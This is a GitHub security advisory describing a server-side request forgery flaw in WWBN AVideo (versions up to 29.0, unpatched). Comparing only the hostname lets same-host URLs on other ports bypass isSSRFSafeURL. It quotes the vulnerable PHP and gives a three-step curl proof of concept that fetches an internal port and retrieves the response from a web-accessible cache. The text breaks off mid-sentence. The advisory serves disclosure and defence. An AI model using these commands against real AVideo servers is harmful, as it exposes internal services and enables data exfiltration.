GitHub Security Advisory: GHSA-j432-4w3j-3w8j
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 7.7)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 29.0
Patched in: unpatched

Summary: WWBN AVideo has a SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL

Details:
## Summary

The `isSSRFSafeURL()` function in `objects/functions.php` contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches `webSiteRootURL` to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site's public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration.

## Details

Commit `40872e529` fixed an extension-based SSRF bypass by making `isSSRFSafeURL()` unconditional. However, `isSSRFSafeURL()` itself contains a same-domain shortcircuit that returns `true` when the URL's hostname matches `webSiteRootURL`'s hostname, without validating the port:

```php
// objects/functions.php:4290-4296
if (!empty($global['webSiteRootURL'])) {
    $siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
    if ($host === $siteHost) {
        _error_log("isSSRFSafeURL: allowing same-domain request to {$host} (matches webSiteRootURL)");
        return true;  // Returns immediately — port, path, scheme all unchecked
    }
}
```

The attack flow through `objects/aVideoEncoder.json.php`:

1. User-supplied `$_REQUEST['downloadURL']` is passed to `downloadVideoFromDownloadURL()` at line 166
2. `isSSRFSafeURL()` is called at line 368 — passes due to hostname match
3. `url_get_contents($downloadURL)` fetches the attacker-controlled URL at line 378
4. Response is written to `Video::getStoragePath() . "cache/tmpFile/" . basename($downloadURL)` at line 393-395

The `cache/tmpFile/` directory is under the web-accessible videos storage path. The attacker can retrieve the file to exfiltrate the internal service response.

The auth requirement is `User::canUpload()` (line 59), which is satisfied by any authenticated user with upload permission. Alternatively, a valid `video_id_hash` (a per-video token) can be used via `useVideoHashOrLogin()` at line 57.

## PoC

Assuming the AVideo instance is at `https://avideo.example.com/` and an internal service runs on port 9998:

```bash
# Step 1: Authenticate and get cookies (any user with upload permission)
curl -c cookies.txt -X POST 'https://avideo.example.com/objects/login.json.php' \
  -d 'user=testuser&pass=testpass'

# Step 2: Send SSRF request targeting port 9998 on the same host
# The hostname matches webSiteRootURL so isSSRFSafeURL() returns true
curl -b cookies.txt -X POST 'https://avideo.example.com/objects/aVideoEncoder.json.php' \
  -d 'format=mp4&downloadURL=http://avideo.example.com:9998/large-internal-endpoint.mp4&videos_id=1&first_request=1'

# Step 3: Retrieve the exfiltrated response
# The file is saved to cache/tmpFile/ with the basename of the URL
curl 'https://avideo.example.com/videos/cache/tmpFile/large-internal-endpoint.mp4' -o response.bin
```

Note: The internal service response must be >= 20KB (or >= 5KB if the URL ends in `.mp3`) to pass the size check at line 384. For